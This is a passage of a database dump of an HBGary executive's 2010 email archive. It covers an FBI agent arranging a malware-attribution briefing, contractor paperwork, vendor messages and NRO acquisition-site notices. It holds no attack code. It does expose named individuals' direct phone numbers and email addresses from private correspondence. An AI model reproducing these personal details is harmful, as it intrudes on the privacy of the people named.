iPad\r\n>>>\r\n>>> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>>>\r\n>>>> Thanks,\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> is this for next Wed? or another day?\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>> ----- Original Message -----\r\n>>>>> From: Aaron Barr \r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>>>> other locations that might be closer to you.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> Sent from my iPhone\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>>>  wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>> ________________________________________\r\n>>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>>>> To: Geary, Christopher A.\r\n>>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>>\r\n>>>>>> Chris,\r\n>>>>>>\r\n>>>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>>>\r\n>>>>>>> Thanks,\r\n>>>>>>>\r\n>>>>>>> Chris\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> SSA Christopher A. Geary\r\n>>>>>>> CERT/CC Liaison\r\n>>>>>>> 3238 CIC\r\n>>>>>>> Pittsburgh, PA 15213\r\n>>>>>>>\r\n>>>>>>> (412) 268-9244\r\n>>>>>>> ________________________________________\r\n>>>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>>>> To: Geary, Christopher A.\r\n>>>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>>>\r\n>>>>>>> Hi Chris,\r\n>>>>>>>\r\n>>>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>>>\r\n>>>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>>\r\n>>>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>>>\r\n>>>>>>>> Thank You,\r\n>>>>>>>>\r\n>>>>>>>> Chris\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> SSA Christopher A. Geary\r\n>>>>>>>> CERT/CC Liaison\r\n>>>>>>>> 3238 CIC\r\n>>>>>>>> Pittsburgh, PA 15213\r\n>>>>>>>>\r\n>>>>>>>> (412) 268-9244\r\n>>>>>>>\r\n>>>>>>\r\n>>>>\r\n',886,'aaron_hbgary_com/886.html'),(11767,'2010-09-15','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008822.M871876P14101Q6622.eml','aaron@hbgary.com','Alarm - Cyber Investigation Discussion - FBI/HBGary','September 15, 2010 1:30 PM : Cyber Investigation Discussion - FBI/HBGary \r\n',7953,'aaron_hbgary_com/7953.html'),(11768,'2010-09-15','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008823.M200316P14101Q6623.eml','aaron@hbgary.com','Alarm - Call David Gertler','September 15, 2010 11:00 AM : Call David Gertler \r\n',11871,'aaron_hbgary_com/11871.html'),(11769,'2010-09-15','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008823.M438040P14101Q6624.eml','\"Aaron Barr\" <aaron@hbgary.com>','Northrop','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nDo you have some time today to talk some strategy?&nbsp; I\r\nwould like to pick your brain about NGC Cyber Threat Operations (Corporate IT\r\nside) and whether Bill Russell is the right person for me to approach?\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6739,'aaron_hbgary_com/6739.html'),(11770,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008823.M686970P14101Q6625.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Personnel Matrix for Gatorbait','Aaron,\r\n\r\nI\'ve filled out everything I can.  Is there any way you can get the\r\nadditional info (mostly dates) from someone who has access to a\r\nsecurity database?\r\n\r\nI\'ll text you the password to open the file.\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16820,'aaron_hbgary_com/16820.html'),(11771,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008832.M609826P14101Q6626.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Reps & Certs','Steve,\r\n\r\nReps&Certs ttached.  I believe the final thing we owe you is the\r\npersonnel matrix.  I\'ve asked Aaron if he can look up some of the\r\ndates.  If we don\'t know some of the dates, should we submit what we\r\nhave?\r\n\r\nRegards\r\nTed\r\n',13878,'aaron_hbgary_com/13878.html'),(11772,'2010-09-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008833.M185564P14101Q6627.eml','\"Christopher Clair\" <christopher.clair@tasc.com>','Can u call?','Sent from my iPhone\r\n',10719,'aaron_hbgary_com/10719.html'),(11773,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008834.M20629P14101Q6628.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Personnel Matrix','Steve,\r\n\r\nAttached is our personnel matrix (pdf -- same password as before).  We\r\ndo not have access to the dates requested on the form.  Your security\r\noffice can look them up by SSN if they have access to the scattered\r\ncastles or JPAS databases.  If you have them look them up, can you\r\nplease forward me the completed form (so I have for future reference)?\r\n\r\nSorry for the inconvenience,\r\nTed\r\n',6946,'aaron_hbgary_com/6946.html'),(11774,'2010-09-15','customer.service@regus.com','/aaron@hbgary.com/new/1297008834.M306811P14101Q6629.eml','aaron@hbgary.com','Regus: Your recent meeting room visit','Dear Client,Thank you for your recent use of our Meeting Room facilities.In order to better serve you and understand your level of satisfaction, we would appreciate getting your feedback on a quick, one question survey.Please click on the link below to rate your stay with us.https://www.regus.com/survey/Questionnaire?ref=HQLDpt2BLXBk7Yqt35zd3sl1%2fZBKMJVubwpW%2fFfckMvV9J57XCeWrg%3d%3d\r\n				Sandra Corcellut\r\n				Customer Service Director\r\n			**********************************************************************\r\nThe information in this email is confidential and may be privileged.\r\nIf you are not the intended recipient please notify us immediately by\r\nreturn email at contact@regus.com or by contacting the\r\nRegus IT Helpdesk on +44 (0) 1462 708 070. \r\nRegus PLC, 26, Boulevard Royal, L-2449 Luxembourg\r\n**********************************************************************\r\n',14086,'aaron_hbgary_com/14086.html'),(11775,'2010-09-15','arc@westfields.net','/aaron@hbgary.com/new/1297008834.M501637P14101Q6630.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6658,'aaron_hbgary_com/6658.html'),(11776,'2010-09-15','arc@westfields.net','/aaron@hbgary.com/new/1297008834.M756859P14101Q6631.eml','federal@hbgary.com','Caprica Announcement Posting','\r\nAn announcement has been posted on the NRO-Caprica effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select Caprica from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5773,'aaron_hbgary_com/5773.html'),(11777,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008834.M972440P14101Q6632.eml','mark@hbgary.com,mark@hbgary.com,','HBGary Website','I just spoke with Penny.  She offered the following clarification for the map:\r\n\r\n1.  She would like to display the resellers on a map so customers can\r\nfind their nearest reseller to buy HBGary products. Penny will send us\r\nthe reseller list with company name, phone, address, etc.\r\n2.  She would like to set up a Reseller (password protected) page that\r\nallows Resellers to fill out a \"Deal Form\".  She\'s going to send us an\r\nexample form.  The idea is that if Reseller X wants to team with us on\r\nthe Disney account they fill out the form and submit it.  We review it\r\nand then accept it or decline (for example, if we already have a\r\ndirect account with 